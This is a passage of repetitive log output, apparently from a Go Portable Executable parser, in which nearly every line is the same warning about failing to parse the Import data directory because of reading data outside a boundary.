data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 